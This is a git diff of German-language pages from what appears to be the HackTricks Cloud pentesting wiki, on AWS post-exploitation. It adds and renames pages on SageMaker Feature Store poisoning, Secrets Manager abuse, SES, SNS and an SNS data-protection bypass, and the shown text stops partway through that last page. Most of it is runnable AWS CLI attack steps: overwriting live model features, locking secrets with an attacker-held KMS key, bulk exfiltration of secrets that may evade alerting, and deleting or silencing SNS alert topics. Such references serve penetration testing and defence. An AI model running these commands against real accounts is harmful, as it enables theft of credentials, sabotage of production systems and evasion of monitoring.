+Missbrauche `sagemaker:PutRecord` auf einer Feature Group mit aktiviertem OnlineStore, um Live-Feature-Werte zu überschreiben, die von Online-Inferenz verwendet werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensible Features auslesen. Dafür ist kein Zugriff auf Modelle oder endpoints erforderlich.
+
+## Anforderungen
+- Berechtigungen: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
+- Ziel: Feature Group mit OnlineStore enabled (typischerweise backing real-time inference)
+
+## Schritte
+1) Wähle oder erstelle eine kleine Online Feature Group zum Testen
+```bash
+REGION=${REGION:-us-east-1}
+FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
+if [ -z "$FG" -o "$FG" = "None" ]; then
+ACC=$(aws sts get-caller-identity --query Account --output text)
+FG=ht-fg-$ACC-$(date +%s)
+ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
+aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
+echo "Waiting for feature group to be in Created state..."
+for i in $(seq 1 40); do
+ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
+echo $ST; [ "$ST" = "Created" ] && break; sleep 15
+done
+fi
+```
+2) Einen Online-Datensatz einfügen/überschreiben (poison)
+```bash
+NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
+cat > /tmp/put.json << JSON
+{
+"FeatureGroupName": "$FG",
+"Record": [
+{"FeatureName": "entity_id", "ValueAsString": "user-123"},
+{"FeatureName": "event_time", "ValueAsString": "$NOW"},
+{"FeatureName": "risk_score", "ValueAsString": "0.99"}
+],
+"TargetStores": ["OnlineStore"]
+}
+JSON
+aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
+```
+3) Datensatz zurücklesen, um die Manipulation zu bestätigen
+```bash
+aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
+```
+Erwartet: risk_score liefert 0.99 (vom Angreifer gesetzt) und beweist die Fähigkeit, Online-Features zu verändern, die von Modellen verwendet werden.
+
+## Auswirkungen
+- Echtzeit-Integritätsangriff: Manipuliere Features, die von Produktionsmodellen verwendet werden, ohne Endpunkte/Modelle zu berühren.
+- Vertraulichkeitsrisiko: Sensible Features via GetRecord aus dem OnlineStore lesen.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
deleted file mode 100644
index 64b8f7f33..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# AWS - Secrets Manager Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### Secrets auslesen
-
-Die **Secrets selbst sind sensible Informationen**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) um zu lernen, wie man sie ausliest.
-
-### DoS Change Secret Value
-
-Wenn du den Wert eines Secrets änderst, könntest du **ein DoS für alle Systeme verursachen, die von diesem Wert abhängen.**
-
-> [!WARNING]
-> Beachte, dass frühere Werte ebenfalls gespeichert werden, sodass es einfach ist, zum vorherigen Wert zurückzukehren.
-```bash
-# Requires permission secretsmanager:PutSecretValue
-aws secretsmanager put-secret-value \
---secret-id MyTestSecret \
---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
-```
-### DoS Change KMS key
-
-Wenn der Angreifer die Berechtigung secretsmanager:UpdateSecret besitzt, kann er das Secret so konfigurieren, dass es einen von ihm kontrollierten KMS-Key verwendet. Dieser Key wird zunächst so eingerichtet, dass jeder darauf zugreifen und ihn verwenden kann, sodass das Aktualisieren des Secrets mit dem neuen Key möglich ist. Wäre der Key nicht zugänglich gewesen, hätte das Secret nicht aktualisiert werden können.
-
-Nachdem der Key für das Secret geändert wurde, ändert der Angreifer die Konfiguration seines Keys so, dass nur noch er darauf zugreifen kann. Dadurch werden nachfolgende Versionen des Secrets mit dem neuen Key verschlüsselt, und da kein Zugriff auf diesen Key besteht, geht die Möglichkeit verloren, das Secret abzurufen.
-
-Es ist wichtig zu beachten, dass diese Unzugänglichkeit nur in späteren Versionen auftreten wird, nachdem der Inhalt des Secrets geändert wurde, da die aktuelle Version weiterhin mit dem ursprünglichen KMS-Key verschlüsselt ist.
-```bash
-aws secretsmanager update-secret \
---secret-id MyTestSecret \
---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
-```
-### DoS Deleting Secret
-
-Die minimale Anzahl von Tagen, um ein secret zu löschen, beträgt 7
-```bash
-aws secretsmanager delete-secret \
---secret-id MyTestSecret \
---recovery-window-in-days 7
-```
-## secretsmanager:RestoreSecret
-
-Es ist möglich, ein secret wiederherzustellen. Dadurch können secrets wiederhergestellt werden, die zur Löschung geplant sind, da die minimale Löschfrist für secrets 7 Tage und die maximale 30 Tage beträgt. Zusammen mit der Berechtigung secretsmanager:GetSecretValue lässt sich so deren Inhalt abrufen.
-
-Um ein secret wiederherzustellen, das sich im Löschvorgang befindet, können Sie den folgenden Befehl verwenden:
-```bash
-aws secretsmanager restore-secret \
---secret-id <Secret_Name>
-```
-## secretsmanager:DeleteResourcePolicy
-
-Diese Aktion erlaubt das Löschen der Ressourcenrichtlinie, die steuert, wer auf ein Secret zugreifen kann. Dies könnte zu einem DoS führen, wenn die Ressourcenrichtlinie so konfiguriert war, dass nur einer bestimmten Benutzergruppe Zugriff gewährt wurde.
-
-Um die Ressourcenrichtlinie zu löschen:
-```bash
-aws secretsmanager delete-resource-policy \
---secret-id <Secret_Name>
-```
-## secretsmanager:UpdateSecretVersionStage
-
-Die Zustände von Secrets werden verwendet, um deren Versionen zu verwalten. AWSCURRENT markiert die aktive Version, die Anwendungen verwenden; AWSPREVIOUS behält die vorherige Version, damit man bei Bedarf zurückrollen kann; und AWSPENDING wird im Rotation-Prozess genutzt, um eine neue Version vorzubereiten und zu validieren, bevor sie zur aktuellen Version wird.
-
-Anwendungen lesen immer die Version mit AWSCURRENT. Wenn jemand dieses Label auf die falsche Version verschiebt, verwenden die Anwendungen ungültige Anmeldeinformationen und können ausfallen.
-
-AWSPREVIOUS wird nicht automatisch verwendet. Wenn AWSCURRENT jedoch entfernt oder falsch neu zugewiesen wird, kann es so aussehen, als würde weiterhin mit der vorherigen Version gearbeitet.
-```bash
-aws secretsmanager update-secret-version-stage \
---secret-id <your-secret-name-or-arn> \
---version-stage AWSCURRENT \
---move-to-version-id <target-version-id> \
---remove-from-version-id <previous-version-id>
-```
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
-
-### Mass Secret Exfiltration via BatchGetSecretValue (bis zu 20 pro Aufruf)
-
-Abuse the Secrets Manager BatchGetSecretValue API to retrieve up to 20 secrets in a single request. This can dramatically reduce API-call volume compared to iterating GetSecretValue per secret. If filters are used (tags/name), ListSecrets permission is also required. CloudTrail still records one GetSecretValue event per secret retrieved in the batch.
-
-Erforderliche Berechtigungen
-- secretsmanager:BatchGetSecretValue
-- secretsmanager:GetSecretValue für jedes Ziel-Secret
-- secretsmanager:ListSecrets wenn --filters verwendet wird
-- kms:Decrypt auf den CMKs, die für die Secrets verwendet werden (wenn nicht aws/secretsmanager)
-
-> [!WARNING]
-> Beachte, dass die Berechtigung `secretsmanager:BatchGetSecretValue` allein nicht ausreicht, um Secrets abzurufen — du benötigst zudem `secretsmanager:GetSecretValue` für jedes Secret, das du abrufen möchtest.
-
-Exfiltrate by explicit list
-```bash
-aws secretsmanager batch-get-secret-value \
---secret-id-list <secret1> <secret2> <secret3> \
---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
-```
-Exfiltrate durch Filter (tag key/value oder name prefix)
-```bash
-# By tag key
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-key,Values=env \
---max-results 20 \
---query 'SecretValues[].{Name:Name,Val:SecretString}'
-
-# By tag value
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-value,Values=prod \
---max-results 20
-
-# By name prefix
-aws secretsmanager batch-get-secret-value \
---filters Key=name,Values=MyApp
-```
-Umgang mit teilweisen Ausfällen
-```bash
-# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
-aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
-```
-Auswirkungen
-- Schnelles “smash-and-grab” vieler Secrets mit weniger API-Aufrufen, das möglicherweise Alarmierungen umgeht, die auf Spitzen von GetSecretValue ausgelegt sind.
-- CloudTrail-Protokolle enthalten weiterhin ein GetSecretValue-Ereignis pro im Batch abgerufenes Secret.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
new file mode 100644
index 000000000..54364a77d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
@@ -0,0 +1,130 @@
+# AWS - Secrets Manager Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Secrets auslesen
+
+Die **Secrets selbst sind sensible Informationen**, [siehe die privesc-Seite](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md), um zu erfahren, wie man sie ausliest.
+
+### DoS: Secret-Wert ändern
+
+Wenn du den Wert des Secret änderst, könntest du damit **ein DoS für alle Systeme verursachen, die von diesem Wert abhängen.**
+
+> [!WARNING]
+> Beachte, dass vorherige Werte ebenfalls gespeichert werden, sodass es einfach ist, wieder zum vorherigen Wert zurückzukehren.
+```bash
+# Requires permission secretsmanager:PutSecretValue
+aws secretsmanager put-secret-value \
+--secret-id MyTestSecret \
+--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
+```
+### DoS Change KMS key
+
+Wenn der Angreifer die Berechtigung secretsmanager:UpdateSecret hat, kann er das secret so konfigurieren, dass es einen KMS key verwendet, der dem Angreifer gehört. Dieser key wird zunächst so eingerichtet, dass jeder darauf zugreifen und ihn verwenden kann, sodass das Aktualisieren des secret mit dem neuen key möglich ist. Wenn der key nicht zugänglich wäre, könnte das secret nicht aktualisiert werden.
+
+Nachdem der key für das secret geändert wurde, passt der Angreifer die Konfiguration seines keys so an, dass nur noch er darauf zugreifen kann. Auf diese Weise werden in den nachfolgenden Versionen des secret diese mit dem neuen key verschlüsselt, und da kein Zugriff darauf besteht, geht die Möglichkeit verloren, das secret abzurufen.
+
+Es ist wichtig zu beachten, dass diese Unzugänglichkeit nur in späteren Versionen auftritt, nachdem sich der Inhalt des secret geändert hat, da die aktuelle Version weiterhin mit dem ursprünglichen KMS key verschlüsselt ist.
+```bash
+aws secretsmanager update-secret \
+--secret-id MyTestSecret \
+--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
+```
+### DoS Secret löschen
+
+Die minimale Anzahl an Tagen, um ein Secret zu löschen, beträgt 7.
+```bash
+aws secretsmanager delete-secret \
+--secret-id MyTestSecret \
+--recovery-window-in-days 7
+```
+## secretsmanager:RestoreSecret
+
+Es ist möglich, ein Secret wiederherzustellen, wodurch Secrets wiederhergestellt werden können, die zur Löschung geplant wurden, da die minimale Löschfrist für Secrets 7 Tage und die maximale 30 Tage beträgt. Zusammen mit der Berechtigung secretsmanager:GetSecretValue ermöglicht dies, deren Inhalte abzurufen.
+
+Um ein Secret wiederherzustellen, das sich im Löschvorgang befindet, können Sie den folgenden Befehl verwenden:
+```bash
+aws secretsmanager restore-secret \
+--secret-id <Secret_Name>
+```
+## secretsmanager:DeleteResourcePolicy
+
+Diese Aktion erlaubt das Löschen der Ressourcenrichtlinie, die steuert, wer auf ein Secret zugreifen kann. Dies könnte zu einem DoS führen, wenn die Ressourcenrichtlinie so konfiguriert war, dass sie Zugriff für eine bestimmte Benutzergruppe erlaubt.
+
+Um die Ressourcenrichtlinie zu löschen:
+```bash
+aws secretsmanager delete-resource-policy \
+--secret-id <Secret_Name>
+```
+## secretsmanager:UpdateSecretVersionStage
+
+Die Zustände eines Secret werden verwendet, um Versionen eines Secret zu verwalten. AWSCURRENT kennzeichnet die aktive Version, die Anwendungen verwenden, AWSPREVIOUS behält die vorherige Version, damit Sie bei Bedarf zurückrollen können, und AWSPENDING wird im Rotationsprozess genutzt, um eine neue Version vorzubereiten und zu validieren, bevor sie zur aktuellen Version gemacht wird.
+
+Anwendungen lesen immer die Version mit AWSCURRENT. Wenn jemand dieses Label auf eine falsche Version verschiebt, verwenden die Anwendungen ungültige Zugangsdaten und können fehlschlagen.
+
+AWSPREVIOUS wird nicht automatisch verwendet. Wenn AWSCURRENT jedoch entfernt oder falsch neu zugewiesen wird, kann es so aussehen, als würde weiterhin alles mit der vorherigen Version laufen.
+```bash
+aws secretsmanager update-secret-version-stage \
+--secret-id <your-secret-name-or-arn> \
+--version-stage AWSCURRENT \
+--move-to-version-id <target-version-id> \
+--remove-from-version-id <previous-version-id>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Massen-Secret-Exfiltration via BatchGetSecretValue (bis zu 20 pro Aufruf)
+
+Missbrauche die Secrets Manager BatchGetSecretValue API, um bis zu 20 secrets in einer einzigen Anfrage abzurufen. Das kann die Anzahl der API-Aufrufe im Vergleich zum iterativen Aufrufen von GetSecretValue pro secret deutlich reduzieren. Wenn Filter verwendet werden (tags/name), wird zudem die ListSecrets-Berechtigung benötigt. CloudTrail zeichnet trotzdem für jedes im Batch abgerufene secret ein GetSecretValue-Event auf.
+
+Erforderliche Berechtigungen
+- secretsmanager:BatchGetSecretValue
+- secretsmanager:GetSecretValue für jedes Ziel-secret
+- secretsmanager:ListSecrets bei Verwendung von --filters
+- kms:Decrypt auf den für die secrets verwendeten CMKs (wenn nicht aws/secretsmanager verwendet wird)
+
+> [!WARNING]
+> Beachte, dass die Berechtigung `secretsmanager:BatchGetSecretValue` allein nicht ausreicht, um secrets abzurufen — du benötigst außerdem `secretsmanager:GetSecretValue` für jedes secret, das du abrufen möchtest.
+
+Exfiltrieren über explizite Liste
+```bash
+aws secretsmanager batch-get-secret-value \
+--secret-id-list <secret1> <secret2> <secret3> \
+--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
+```
+Exfiltrate mittels Filter (tag key/value oder name prefix)
+```bash
+# By tag key
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-key,Values=env \
+--max-results 20 \
+--query 'SecretValues[].{Name:Name,Val:SecretString}'
+
+# By tag value
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-value,Values=prod \
+--max-results 20
+
+# By name prefix
+aws secretsmanager batch-get-secret-value \
+--filters Key=name,Values=MyApp
+```
+Umgang mit teilweisen Fehlern
+```bash
+# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
+aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
+```
+Auswirkungen
+- Rascher „smash-and-grab“ vieler secrets mit weniger API-Aufrufen, wodurch möglicherweise Alarmierungen, die auf Spitzen von GetSecretValue ausgelegt sind, umgangen werden.
+- CloudTrail-Logs enthalten weiterhin ein GetSecretValue-Ereignis pro secret, das vom Batch abgerufen wurde.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md
similarity index 68%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md
index 3f6eee515..796c5dca0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md
@@ -1,18 +1,18 @@
 # AWS - SES Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SES
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-ses-enum.md
+../../aws-services/aws-ses-enum.md
 {{#endref}}
 
 ### `ses:SendEmail`
 
-Eine E-Mail senden.
+E-Mail senden.
 ```bash
 aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
 aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
@@ -21,7 +21,7 @@ Noch zu testen.
 
 ### `ses:SendRawEmail`
 
-Eine E-Mail senden.
+E-Mail senden.
 ```bash
 aws ses send-raw-email --raw-message file://message.json
 ```
@@ -29,7 +29,7 @@ Noch zu testen.
 
 ### `ses:SendTemplatedEmail`
 
-Senden Sie eine E-Mail basierend auf einer Vorlage.
+Sendet eine E-Mail basierend auf einer Vorlage.
 ```bash
 aws ses  send-templated-email --source <value> --destination <value> --template <value>
 ```
@@ -37,7 +37,7 @@ Noch zu testen.
 
 ### `ses:SendBulkTemplatedEmail`
 
-Senden Sie eine E-Mail an mehrere Empfänger.
+Eine E-Mail an mehrere Empfänger senden
 ```bash
 aws ses send-bulk-templated-email --source <value> --template <value>
 ```
@@ -45,23 +45,25 @@ Noch zu testen.
 
 ### `ses:SendBulkEmail`
 
-Senden Sie eine E-Mail an mehrere Empfänger.
+Eine E-Mail an mehrere Empfänger senden.
 ```
 aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
 ```
 ### `ses:SendBounce`
 
-Senden Sie eine **Bounce-E-Mail** über eine empfangene E-Mail (die anzeigt, dass die E-Mail nicht empfangen werden konnte). Dies kann nur **bis zu 24 Stunden nach dem Empfang** der E-Mail erfolgen.
+Sende eine **bounce email** für eine empfangene E-Mail (die anzeigt, dass die E-Mail nicht zugestellt werden konnte). Dies kann nur **bis zu 24h nach dem Empfang** der E-Mail durchgeführt werden.
 ```bash
 aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
 ```
+Noch zu testen.
+
 ### `ses:SendCustomVerificationEmail`
 
-Dies sendet eine angepasste Bestätigungs-E-Mail. Möglicherweise benötigen Sie auch Berechtigungen, um die Vorlage für die E-Mail zu erstellen.
+Dies sendet eine angepasste Bestätigungs-E-Mail. Möglicherweise benötigen Sie außerdem Berechtigungen, um die E-Mail-Vorlage zu erstellen.
 ```bash
 aws ses send-custom-verification-email --email-address <value> --template-name <value>
 aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
 ```
 Noch zu testen.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
deleted file mode 100644
index 09477e3e4..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ /dev/null
@@ -1,68 +0,0 @@
-# AWS - SNS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Für weitere Informationen:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Nachrichten stören
-
-In mehreren Fällen werden SNS-Themen verwendet, um Nachrichten an überwachte Plattformen (E-Mails, Slack-Nachrichten...) zu senden. Wenn ein Angreifer das Senden der Nachrichten verhindert, die über seine Anwesenheit in der Cloud informieren, könnte er unentdeckt bleiben.
-
-### `sns:DeleteTopic`
-
-Ein Angreifer könnte ein ganzes SNS-Thema löschen, was zu Nachrichtenverlust führt und Anwendungen beeinträchtigt, die auf das Thema angewiesen sind.
-```bash
-aws sns delete-topic --topic-arn <value>
-```
-**Potenzielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die das gelöschte Thema verwenden.
-
-### `sns:Publish`
-
-Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an das SNS-Thema senden, was potenziell zu Datenkorruption, ungewollten Aktionen oder Ressourcenerschöpfung führen könnte.
-```bash
-aws sns publish --topic-arn <value> --message <value>
-```
-**Potenzielle Auswirkungen**: Datenkorruption, unbeabsichtigte Aktionen oder Ressourcenerschöpfung.
-
-### `sns:SetTopicAttributes`
-
-Ein Angreifer könnte die Attribute eines SNS-Themen ändern, was möglicherweise die Leistung, Sicherheit oder Verfügbarkeit beeinträchtigt.
-```bash
-aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
-```
-**Potenzielle Auswirkungen**: Fehlkonfigurationen, die zu einer verringerten Leistung, Sicherheitsproblemen oder reduzierter Verfügbarkeit führen.
-
-### `sns:Subscribe` , `sns:Unsubscribe`
-
-Ein Angreifer könnte sich an ein SNS-Thema anmelden oder abmelden, wodurch er möglicherweise unbefugten Zugriff auf Nachrichten erhält oder die normale Funktion von Anwendungen, die auf das Thema angewiesen sind, stört.
-```bash
-aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
-aws sns unsubscribe --subscription-arn <value>
-```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf Nachrichten, Dienstunterbrechung für Anwendungen, die auf das betroffene Thema angewiesen sind.
-
-### `sns:AddPermission` , `sns:RemovePermission`
-
-Ein Angreifer könnte unbefugten Benutzern oder Diensten Zugriff auf ein SNS-Thema gewähren oder Berechtigungen für legitime Benutzer widerrufen, was zu Störungen im normalen Betrieb von Anwendungen führt, die auf das Thema angewiesen sind.
-```css
-aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
-aws sns remove-permission --topic-arn <value> --label <value>
-```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Thema, Nachrichtenexposition oder Themenmanipulation durch unbefugte Benutzer oder Dienste, Störung der normalen Funktionalität für Anwendungen, die auf das Thema angewiesen sind.
-
-### `sns:TagResource` , `sns:UntagResource`
-
-Ein Angreifer könnte Tags von SNS-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören könnte.
-```bash
-aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws sns untag-resource --resource-arn <value> --tag-keys <key>
-```
-**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md
new file mode 100644
index 000000000..64f17cee7
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md
@@ -0,0 +1,82 @@
+# AWS - SNS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Für weitere Informationen:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Nachrichten stören
+
+In mehreren Fällen werden SNS topics verwendet, um Nachrichten an Plattformen zu senden, die überwacht werden (E-Mails, slack messages...). Wenn ein Angreifer das Versenden der Nachrichten verhindert, die über seine Präsenz in der Cloud alarmieren, könnte er unentdeckt bleiben.
+
+### `sns:DeleteTopic`
+
+Ein Angreifer könnte ein gesamtes SNS topic löschen, was zu Nachrichtenverlust führen und Anwendungen beeinträchtigen könnte, die auf das topic angewiesen sind.
+```bash
+aws sns delete-topic --topic-arn <value>
+```
+**Potentielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die das gelöschte Topic verwenden.
+
+### `sns:Publish`
+
+Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an das SNS-Topic senden, was möglicherweise Datenkorruption verursacht, unbeabsichtigte Aktionen auslöst oder Ressourcen erschöpft.
+```bash
+aws sns publish --topic-arn <value> --message <value>
+```
+**Potentielle Auswirkungen**: Datenkorruption, unbeabsichtigte Aktionen oder Ressourcenerschöpfung.
+
+### `sns:SetTopicAttributes`
+
+Ein Angreifer könnte die Attribute eines SNS-Topics ändern und dadurch potenziell dessen Leistung, Sicherheit oder Verfügbarkeit beeinträchtigen.
+```bash
+aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
+```
+**Potenzielle Auswirkungen**: Fehlkonfigurationen, die zu verschlechterter Leistung, Sicherheitsproblemen oder verminderter Verfügbarkeit führen.
+
+### `sns:Subscribe` , `sns:Unsubscribe`
+
+Ein Angreifer könnte sich auf ein SNS-Topic abonnieren oder sich davon abmelden, wodurch er möglicherweise unautorisierten Zugriff auf Nachrichten erlangt oder das normale Funktionieren von Anwendungen, die auf das Topic angewiesen sind, stören kann.
+```bash
+aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
+aws sns unsubscribe --subscription-arn <value>
+```
+**Mögliche Auswirkungen**: Unbefugter Zugriff auf Nachrichten, Dienstunterbrechungen für Anwendungen, die auf das betroffene SNS-Topic angewiesen sind.
+
+### `sns:AddPermission` , `sns:RemovePermission`
+
+Ein Angreifer könnte unbefugten Benutzern oder Diensten Zugriff auf ein SNS-Topic gewähren oder Berechtigungen für legitime Benutzer entziehen, was zu Störungen der normalen Funktion von Anwendungen führen kann, die auf das Topic angewiesen sind.
+```bash
+aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
+aws sns remove-permission --topic-arn <value> --label <value>
+```
+**Mögliche Auswirkungen**: Unbefugter Zugriff auf das Topic, Offenlegung von Nachrichten oder Manipulation des Topics durch unbefugte Benutzer oder Dienste, Störung der normalen Funktionalität von Anwendungen, die auf dem Topic angewiesen sind.
+
+### `sns:TagResource` , `sns:UntagResource`
+
+Ein Angreifer könnte Tags zu SNS-Ressourcen hinzufügen, ändern oder entfernen und dadurch die Kostenallokation, die Ressourcenverfolgung und die auf Tags basierenden Richtlinien zur Zugriffskontrolle Ihrer Organisation beeinträchtigen.
+```bash
+aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws sns untag-resource --resource-arn <value> --tag-keys <key>
+```
+**Mögliche Auswirkungen**: Störung der Kostenallokation, der Ressourcenverfolgung und von tagbasierten Zugriffskontrollrichtlinien.
+
+### Weitere SNS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sns-data-protection-bypass.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-fifo-replay-exfil.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-firehose-exfil.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md
new file mode 100644
index 000000000..e5784b696
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md
@@ -0,0 +1,92 @@
+# AWS - SNS Message Data Protection Bypass via Policy Downgrade
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Wenn Sie `sns:PutDataProtectionPolicy` für ein Topic haben, können Sie dessen Message Data Protection-Richtlinie von Deidentify/Deny auf Audit-only umstellen (oder Outbound-Kontrollen entfernen), sodass sensible Werte (z. B. Kreditkartennummern) unverändert an Ihre Subscription geliefert werden.
+
+## Voraussetzungen
+- Berechtigungen für das Ziel-Topic, um `sns:PutDataProtectionPolicy` aufzurufen (und normalerweise `sns:Subscribe`, wenn Sie die Daten empfangen möchten).
+- Standard SNS topic (Message Data Protection wird unterstützt).
+
+## Angriffsschritte
+
+- Variablen
+
+```bash
+REGION=us-east-1
+```
+
+1) Erstellen Sie ein Standard-Topic und eine Angreifer-SQS-Queue, und erlauben Sie nur diesem Topic, an die Queue zu senden
+
+```bash
+TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
+Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
+```
+
+2) Hängen Sie eine Data Protection-Policy an, die Kreditkartennummern in ausgehenden Nachrichten maskiert
+
+```bash
+cat > /tmp/ht-dlp-policy.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "MaskCCOutbound",
+"Principal": ["*"],
+"DataDirection": "Outbound",
